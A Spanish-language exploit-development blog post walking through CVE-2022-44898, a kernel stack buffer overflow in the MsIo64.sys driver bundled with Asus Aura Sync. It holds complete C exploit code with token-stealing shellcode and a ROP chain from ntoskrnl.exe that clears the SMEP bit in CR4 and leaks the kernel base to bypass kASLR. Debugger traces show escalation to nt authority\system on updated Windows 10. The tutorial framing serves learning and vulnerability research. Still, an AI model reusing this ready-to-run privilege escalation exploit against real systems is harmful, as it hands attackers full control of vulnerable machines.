xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



Exploit Development

Aura Sync: Stack Overflow


En posts pasados explotamos un driver diseñado para ser vulnerable, podriamos preguntarnos ¿que tan real es esta explotación en aplicaciones reales?, en este post se llevara a cabo la explotación de el programa Asus Aura Sync, una aplicación cuyo proposito es sincronizar los productos de Asus para controlar la iluminación RGB, de acuerdo con el CVE-2022-44898 esta aplicación en versiones iguales o inferiores a la 1.07.79_v2.2 tiene una vulnerabilidad en el driver MsIo64.sys que se instala a la par del programa que contiene un manejo de datos incorrecto provocando un Buffer Overflow Stack Based en el kernel permitiendo escalar privilegios de forma local.


Installation


La primera parte es instalar la aplicación vulnerable, empezamos por descargar el comprimido zip, luego podemos ejecutar el setup.exe e instalarlo simplemente presionando siguiente hasta terminar y nos aparezca el icono en el escritorio

Luego de instalarlo deberiamos encontrar el driver MsIo64.sys en la siguiente ruta

C:\Windows\System32\drivers> dir MsIo64.sys

 El volumen de la unidad C no tiene etiqueta.
 El número de serie del volumen es: 3A26-C905

 Directorio de C:\Windows\System32\drivers

12/02/2018  04:22            25.616 MsIo64.sys
               1 archivos         25.616 bytes
               0 dirs  56.808.706.048 bytes libres

C:\Windows\System32\drivers>

Ahora deberiamos ser capaces de ver el modulo MsIo64 desde la máquina debugger

0: kd> lm m MsIo64
Browse full module list
start             end                 module name
fffff802`7a020000 fffff802`7a026000   MsIo64     (deferred)  


Reversing


Lo primero es buscar en que parte del driver se encuentra la vulnerabilidad, para ello utilizaremos IDA para desensamblar el driver MsIo64.sys, el bloque inicial DriverEntry inicia haciendo unas comparaciones inicializando el driver pero sin importar los resultados siempre termina ejecutando el jmp sub_16c0 del final

La interfaz con la que podemos comunicarnos con el driver son las llamadas ioctl, al instalar un driver utilizando la función IoCreateDevice se establece un nombre de dispositivo, en la función sub_16c0 podemos ver que se establece a \\\\.\\MsIo

Cada función se identifica con un código ioctl, el driver acepta este tipo de llamadas usando estructuras de tipo IRP o I/O Request Packets, en este bloque podemos ver que la función establecida para encargarse de esta tarea es sub_13f0

La función sub_13f0 es encargada de ejecutar ciertas instrucciones dependiendo de su código ioctl, inicia accediendo a los miembros de la estructura IRP y realiza un par de comparaciones, compara el registro al con 0xe que fue el offset con el que se establecio la función en el bloque pasado, si el resultado no es 0 salta al ret final

Si la comparación resulta en 0 inicia una estructura de tipo switch para buscar la comparación con el código ioctl correspondiente, en este caso nos quedaremos con el primer código que es 0x80102040 y analizaremos lo que ejecuta al llamarlo

El siguiente bloque nuevamente muestra un mensaje, y hace un salto condicional, si ebx es igual a 0 salta a loc_1494 de lo contrario sigue la siguiente instrucción

Siguiendo la linea roja vemos que se utiliza la función memmove sin sanitización aparente, esto parece interesante ya que controlamos los datos y si escribimos mas de lo que soporta el buffer podriamos desbordarlo y sobrescribir otros datos

Después de copiar los datos vuelve al final de la función concluyendo en la instrucción ret del offset 0x16b9, si sobrepasamos el buffer y sobrescribimos la dirección de retorno en este ultimo ret deberiamos tomar el control del flujo del programa


Crashing


Utilizando DeviceIoControl podemos comunicarnos pasandole el handle y el código ioctl perteneciente a la función, además de ello el buffer que le pasaremos y su tamaño, el resto de parámetros los dejaremos como NULL ya que no nos interesan

BOOL DeviceIoControl(
  [in]                HANDLE       hDevice,
  [in]                DWORD        dwIoControlCode,
  [in, optional]      LPVOID       lpInBuffer,
  [in]                DWORD        nInBufferSize,
  [out, optional]     LPVOID       lpOutBuffer,
  [in]                DWORD        nOutBufferSize,
  [out, optional]     LPDWORD      lpBytesReturned,
  [in, out, optional] LPOVERLAPPED lpOverlapped
);

En un proyecto de Visual Studio definimos el siguiente código, iniciamos definiendo un buffer llamado payload con un tamaño de 100 bytes, (un poco más del buffer definido) el cual rellenaremos con A's, luego de eso lo enviamos al controlador

#include <windows.h>
#include <stdio.h>

int main() {
    LPVOID payload = VirtualAlloc(NULL, 100, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlFillMemory(payload, 100, 'A');

    HANDLE handle = CreateFileA("\\\\.\\MsIo", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);  

    if (handle == INVALID_HANDLE_VALUE) {
        puts("[-] Failed to get handle");
        exit(1);
    }

    DeviceIoControl(handle, 0x80102040, payload, 100, NULL, 0, NULL, NULL);

    return 0;
}

Para ver lo que está haciendo el ultimo bloque reverseado estableceremos un breakpoint en la llamada a memmove y continuaremos la ejecución normal

0: kd> bp MsIo64 + 0x1623  

0: kd> g

Luego de compilar el proyecto nuestro exploit nos queda en un .exe que ejecutamos

C:\Users\user\Desktop> exploit.exe  

Volviendo al debugger podemos ver que en el kernel hemos alcanzado el breakpoint a la llamada, analizaremos el comportamiento de esta llamada a memmove

0: kd> g
Breakpoint 0 hit
MsIo64+0x1623:
fffff800`22351623 e8b8010000      call    MsIo64+0x17e0 (fffff800`223517e0)  

Según la documentación oficial de Microsoft, la función memmove recibe 3 argumentos, un puntero al buffer de destino, un puntero al source y un contador

void *memmove(
    void *dest,
    const void *src,  
    size_t count
);

Las convenciones de llamada en x64 nos dicen que los primeros 3 argumentos deberian estar en los registros rcx, rdx y r8, en rcx podemos ver el destino, en rdx el source o lo que se va a copiar y en r8 el contador que son 100 bytes

0: kd> db rcx L40
ffffad00`2631f160  c8 00 00 00 00 00 00 00-f1 cd 41 1c 00 f8 ff ff  ..........A.....  
ffffad00`2631f170  01 00 00 00 00 00 00 00-49 6f 20 20 00 00 00 00  ........Io  ....  
ffffad00`2631f180  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................  
ffffad00`2631f190  0c 02 00 00 00 00 00 00-10 be 5b 35 09 da ff ff  ..........[5....  

0: kd> db rdx L40
ffffda09`37c49f00  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
ffffda09`37c49f10  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
ffffda09`37c49f20  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
ffffda09`37c49f30  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  

0: kd> ? r8
Evaluate expression: 100 = 00000000`00000064

Luego de ejecutar la llamada podemos ver que el contenido del buffer se ha copiado al destino, sin embargo hay que pensar que posiblemente el buffer definido sea mas pequeño que nuestro buffer, nosotros hemos escrito un total de 100 bytes

0: kd> p
MsIo64+0x1628:
fffff807`24da1628 488b542430      mov     rdx,qword ptr [rsp+30h]

0: kd> db rcx L40
ffff8884`4013f160  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
ffff8884`4013f170  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
ffff8884`4013f180  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
ffff8884`4013f190  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  

Avanzamos hazta el siguiente ret donde podemos ver que hemos sobrescrito la dirección de retorno con 0x4141414141414141 que es igual a las A's en hexadecimal, si intentamos continuar provocará un error ya que esa dirección no existe, de esta forma controlamos la dirección donde apuntará mediante un Stack Buffer Overflow

0: kd> pt
MsIo64+0x16b9:
fffff807`24da16b9 c3              ret

0: kd> dqs rsp L1
ffff8884`4013f1a8  41414141`41414141

0: kd> p
Access violation - code c0000005 (!!! second chance !!!)  
MsIo64+0x16b9:
fffff807`24da16b9 c3              ret


Offset


Para encontrar la cantidad de bytes necesarios antes de sobrescribir la dirección de retorno crearemos un patrón de caractéres utilizando cyclic de pwntools

❯ cyclic -n 8 100
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa  

Ahora en lugar de rellenar el buffer payload con A's copiaremos los 100 bytes creados con cyclic al buffer, después de ello compilamos el exploit

#include <windows.h>
#include <stdio.h>

int main() {
    LPVOID payload = VirtualAlloc(NULL, 100, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    const char *cyclic = "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa";  
    RtlCopyMemory(payload, cyclic, 100);

    HANDLE handle = CreateFileA("\\\\.\\MsIo", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

    if (handle == INVALID_HANDLE_VALUE) {
        puts("[-] Failed to get handle");
        exit(1);
    }

    DeviceIoControl(handle, 0x80102040, payload, 100, NULL, 0, NULL, NULL);

    return 0;
}

El breakpoint ahora será directamente en el ret donde se produce la vulnerabilidad

0: kd> bp MsIo64 + 0x16b9  

0: kd> g

Luego de ejecutar el exploit podemos ver que la dirección de retorno ahora tiene como valor algunos de los bytes que contenia la cadena creada con cyclic

C:\Users\user\Desktop> exploit.exe  

0: kd> g
Breakpoint 0 hit
MsIo64+0x16b9:
fffff802`3e9f16b9 c3              ret  

0: kd> dqs rsp L1
ffff9582`3bd0f1a8  61616161`6161616a

Ya con la dirección podemos calcular el offset nuevamente utilizando cyclic

❯ cyclic -n 8 -l 0x616161616161616a  
72

Sabemos que después de rellenar 72 bytes tenemos la dirección de retorno, entonces reservaremos un nuevo espacio llamado shellcode donde copiaremos un total de 64 C's, luego el puntero a shellcode lo copiaremos a payload después de 72 A's por lo que el controlador deberia intentar ejecutar las C's en el ret

#include <windows.h>
#include <stdio.h>

BYTE sc[64] = {
    0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
    0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
    0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
    0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
    0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
    0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
    0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
    0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43
};

int main() {
    LPVOID payload = VirtualAlloc(NULL, 80, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    LPVOID shellcode = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    RtlFillMemory(payload, 72, 'A');
    RtlCopyMemory(shellcode, sc, sizeof(sc));

    *((ULONGLONG *) ((BYTE *) payload + 72)) = (ULONGLONG) shellcode;

    HANDLE handle = CreateFileA("\\\\.\\MsIo", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);  

    if (handle == INVALID_HANDLE_VALUE) {
        puts("[-] Failed to get handle");
        exit(1);
    }

    DeviceIoControl(handle, 0x80102040, payload, 80, NULL, 0, NULL, NULL);

    return 0;
}

Ejecutamos el exploit y ahora la dirección de retorno apunta a 0x1ba7a380000 y esta dirección de memoria contiene las C's por lo que ya podemos ejecutar instrucciones

0: kd> g
Breakpoint 0 hit
MsIo64+0x16b9:
fffff806`559116b9 c3              ret
  
0: kd> db poi(rsp) L40
000001ba`7a380000  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC  
000001ba`7a380010  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC  
000001ba`7a380020  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC  
000001ba`7a380030  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC  


Exploit


Finalmente solo nos queda modificar el shellcode, para ello utilizaremos un token stealing, este shellcode esta diseñado para tomar el token del proceso SYSTEM y copiarlo a nuestro proceso actual por lo que deberiamos obtener sus privilegios, luego de ejecutarlo simplemente ejecutaremos una cmd.exe para obtener una shell

#include <windows.h>
#include <stdio.h>

BYTE token_stealing[120] = {
    0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x82,
    0xb8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc3, 0x48, 0x8b, 0x9b, 0x48, 0x04,
    0x00, 0x00, 0x48, 0x81, 0xeb, 0x48, 0x04, 0x00, 0x00, 0x48, 0x83, 0xbb,
    0x40, 0x04, 0x00, 0x00, 0x04, 0x75, 0xe8, 0x48, 0x8b, 0x8b, 0xb8, 0x04,
    0x00, 0x00, 0x80, 0xe1, 0xf0, 0x48, 0x89, 0x88, 0xb8, 0x04, 0x00, 0x00,
    0x66, 0x8b, 0x8a, 0xe4, 0x01, 0x00, 0x00, 0x66, 0xff, 0xc1, 0x66, 0x89,
    0x8a, 0xe4, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x92, 0x90, 0x00, 0x00, 0x00,
    0x48, 0x8b, 0xaa, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x8a, 0x68, 0x01,
    0x00, 0x00, 0x4c, 0x8b, 0x9a, 0x78, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xa2,
    0x80, 0x01, 0x00, 0x00, 0x31, 0xc0, 0x0f, 0x01, 0xf8, 0x48, 0x0f, 0x07
};

int main() {
    LPVOID payload = VirtualAlloc(NULL, 80, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    LPVOID shellcode = VirtualAlloc(NULL, sizeof(token_stealing), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  

    RtlFillMemory(payload, 72, 'A');
    RtlCopyMemory(shellcode, token_stealing, sizeof(token_stealing));

    *((ULONGLONG *) ((BYTE *) payload + 72)) = (ULONGLONG) shellcode;

    HANDLE handle = CreateFileA("\\\\.\\MsIo", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);  

    if (handle == INVALID_HANDLE_VALUE) {
        puts("[-] Failed to get handle");
        exit(1);
    }

    DeviceIoControl(handle, 0x80102040, payload, 80, NULL, 0, NULL, NULL);

    system("cmd.exe");
    exit(0);

    return 0;
}

Al ejecutar el exploit deberiamos pasar del usuario llamado user con bajos privilegios a nt authority\system que es el usuario con máximos privilegios sobre el equipo

C:\Users\user\Desktop> whoami
windows\user

C:\Users\user\Desktop> exploit.exe
Microsoft Windows [Versión 10.0.19045.4651]
(c) Microsoft Corporation. Todos los derechos reservados.  

C:\Users\user\Desktop> whoami
nt authority\system

C:\Users\user\Desktop>


SMEP


El exploit anterior funciona bien sin embargo aún hay algo a tener en cuenta, este corria con la protección SMEP deshabilitada temporalmente sin embargo a partir de Windows 8 todos los windows actuales lo tienen activado por defecto, entonces veamos que pasa ahora si ejecutamos el exploit, al ejecutar el ret e intentar interpretar la primera instrucción del shellcode nos lanza un BSOD y este muestra el error ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY y no podemos ejecutarlo

0: kd> g
Breakpoint 0 hit
MsIo64+0x16b9:
fffff806`559116b9 c3              ret

0: kd> p
00000250`51190000 65488b142588010000 mov   rdx,qword ptr gs:[188h]  

0: kd> p
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x000000fc (0x0000025051190000,0x000000009BE6A867,0xFFFFEA8F0A7CF020,0x0000000080000005)  

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

nt!DbgBreakPointWithStatus:
fffff801`7e0077a0 cc              int     3

0: kd> !analyze -v 
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY (fc)
An attempt was made to execute non-executable memory.  The guilty driver
is on the stack trace (and is typically the current instruction pointer).
When possible, the guilty driver's name is printed on
the BugCheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: 0000025051190000, Virtual address for the attempted execute.
Arg2: 000000009be6a867, PTE contents.
Arg3: ffffea8f0a7cf020, (reserved)
Arg4: 0000000080000005, (reserved)

El SMEP impide que se pueda ejecutar la memoria de modo usuario desde modo kernel, sin embargo esta protección es controlada por el bit 20 del registro cr4 por lo que si cambiamos su valor a 0 podriamos deshabilitarlo y ejecutar el shellcode

Entonces lo unico que necesitamos es tomar el valor en binario del registro cr4 cambiando el bit 20 por 0 y obtenemos su valor equivalente en hex a 0x250ef8

0: kd> .formats cr4
Evaluate expression:
  Hex:     00000000`00350ef8
  Decimal: 3477240
  Decimal (unsigned) : 3477240
  Octal:   0000000000000015207370
  Binary:  00000000 00000000 00000000 00000000 00000000 00110101 00001110 11111000
  Chars:   .....5..
  Time:    Mon Feb  9 23:54:00 1970
  Float:   low 4.87265e-039 high 0
  Double:  1.71798e-317
  
0: kd> .formats 0y1001010000111011111000
Evaluate expression:
  Hex:     00000000`00250ef8
  Decimal: 2428664
  Decimal (unsigned) : 2428664
  Octal:   0000000000000011207370
  Binary:  00000000 00000000 00000000 00000000 00000000 00100101 00001110 11111000
  Chars:   .....%..
  Time:    Wed Jan 28 20:37:44 1970
  Float:   low 3.40328e-039 high 0
  Double:  1.19992e-317

Como no podemos ejecutar shellcode haremos ROP para cambiar el bit, para hacerlo podemos buscar gadgets dentro del controlador o el kernel, sin embargo los gadgets del propio driver son bastante limitados por lo que usaremos ntoskrnl.exe, el primer gadget guarda un qword en rcx y el segundo mueve el valor de rcx al registro cr4, sin embargo aun tenemos un problema bastante importante, la protección kASLR

❯ ropper --file ntoskrnl.exe -I 0x0 --console  
[INFO] Load gadgets for section: .text
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
(ntoskrnl.exe/PE/x86_64)> search pop rcx; ret;
[INFO] Searching for gadgets: pop rcx; ret;

[INFO] File: ntoskrnl.exe
0x00000000002163ec: pop rcx; ret;

(ntoskrnl.exe/PE/x86_64)> search mov cr4, rcx; ret;
[INFO] Searching for gadgets: mov cr4, rcx; ret;

[INFO] File: ntoskrnl.exe
0x00000000003a06a7: mov cr4, rcx; ret;

(ntoskrnl.exe/PE/x86_64)>

Necesitamos la dirección base del kernel sin embargo esta es bastante facil de obtener con el primer valor del array al utilizar la función EnumDeviceDrivers

LPVOID drivers[1024];
DWORD needed;

EnumDeviceDrivers(drivers, 1024, &needed);  
LPVOID ntoskrnl_base = drivers[0];

Después de escribir los 72 bytes escribiremos 4 qwords, los primeros 2 guardan el nuevo valor de cr4 en rcx, el tercero mueve a cr4 el valor en rcx deshabilitando asi el SMEP y el ultimo salta al shellcode a ejecutar en el modo usuario

ULONGLONG *rop = (ULONGLONG *) ((ULONGLONG) payload + 72);

*rop++ = (ULONGLONG) ntoskrnl_base + 0x2163ec; // pop rcx; ret;
*rop++ = (ULONGLONG) 0x350ef8 ^ 1UL << 20;     // cr4 value
*rop++ = (ULONGLONG) ntoskrnl_base + 0x3a06a7; // mov cr4, rcx; ret;  
*rop++ = (ULONGLONG) shellcode;                // token stealing

El exploit final deberia bypassear la protección de SMEP y kASLR y funcionar en un windows 10 completamente actualizado sin ninguna modificación necesaria

#include <windows.h>
#include <stdio.h>
#include <psapi.h>

BYTE token_stealing[120] = {
    0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x82,
    0xb8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc3, 0x48, 0x8b, 0x9b, 0x48, 0x04,
    0x00, 0x00, 0x48, 0x81, 0xeb, 0x48, 0x04, 0x00, 0x00, 0x48, 0x83, 0xbb,
    0x40, 0x04, 0x00, 0x00, 0x04, 0x75, 0xe8, 0x48, 0x8b, 0x8b, 0xb8, 0x04,
    0x00, 0x00, 0x80, 0xe1, 0xf0, 0x48, 0x89, 0x88, 0xb8, 0x04, 0x00, 0x00,
    0x66, 0x8b, 0x8a, 0xe4, 0x01, 0x00, 0x00, 0x66, 0xff, 0xc1, 0x66, 0x89,
    0x8a, 0xe4, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x92, 0x90, 0x00, 0x00, 0x00,
    0x48, 0x8b, 0xaa, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x8a, 0x68, 0x01,
    0x00, 0x00, 0x4c, 0x8b, 0x9a, 0x78, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xa2,
    0x80, 0x01, 0x00, 0x00, 0x31, 0xc0, 0x0f, 0x01, 0xf8, 0x48, 0x0f, 0x07
};

int main() {
    LPVOID drivers[1024];
    DWORD needed;

    EnumDeviceDrivers(drivers, 1024, &needed);  
    LPVOID ntoskrnl_base = drivers[0];

    LPVOID payload = VirtualAlloc(NULL, 104, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    LPVOID shellcode = VirtualAlloc(NULL, sizeof(token_stealing), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    RtlFillMemory(payload, 72, 'A');
    RtlCopyMemory(shellcode, token_stealing, sizeof(token_stealing));

    ULONGLONG *rop = (ULONGLONG *) ((ULONGLONG) payload + 72);

    *rop++ = (ULONGLONG) ntoskrnl_base + 0x2163ec; // pop rcx; ret;
    *rop++ = (ULONGLONG) 0x350ef8 ^ 1UL << 20;     // cr4 value
    *rop++ = (ULONGLONG) ntoskrnl_base + 0x3a06a7; // mov cr4, rcx; ret;
    *rop++ = (ULONGLONG) shellcode;                // token stealing

    HANDLE handle = CreateFileA("\\\\.\\MsIo", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);  

    if (handle == INVALID_HANDLE_VALUE) {
        puts("[-] Failed to get handle");
        exit(1);
    }

    DeviceIoControl(handle, 0x80102040, payload, 104, NULL, 0, NULL, NULL);

    system("cmd.exe");
    exit(0);

    return 0;
}

Para comprobarlo volvemos a establecer un breakpoint en el ret y avanzamos hasta justo antes de mover el nuevo valor al registro cr4 para verificar que funcione

0: kd> g
Breakpoint 0 hit
MsIo64+0x16b9:
fffff806`559116b9 c3              ret

0: kd> p
nt!KiSetAddressPolicy+0x1c:
fffff806`5ec163ec 59              pop     rcx

0: kd> p
nt!KiSetAddressPolicy+0x1d:
fffff806`5ec163ed c3              ret

0: kd> p
nt!KeFlushCurrentTbImmediately+0x17:
fffff806`5eda06a7 0f22e1          mov     cr4,rcx  

Al ejecutar mov modifica el valor de cr4 cambiando el bit 20 a 0 y deshabilitando la protección SMEP asi pudiendo ejecutar asi el shellcode en el modo de usuario

0: kd> r cr4
cr4=0000000000350ef8

0: kd> p
00000214`36ea0000 65488b142588010000 mov   rdx,qword ptr gs:[188h]  

0: kd> r cr4
cr4=0000000000250ef8

0: kd> g

Si simplemente continuamos la ejecución podemos ver que el exploit funciona

C:\Users\user\Desktop> whoami
windows\user

C:\Users\user\Desktop> exploit.exe
Microsoft Windows [Versión 10.0.19045.4651]
(c) Microsoft Corporation. Todos los derechos reservados.  

C:\Users\user\Desktop> whoami
nt authority\system

C:\Users\user\Desktop>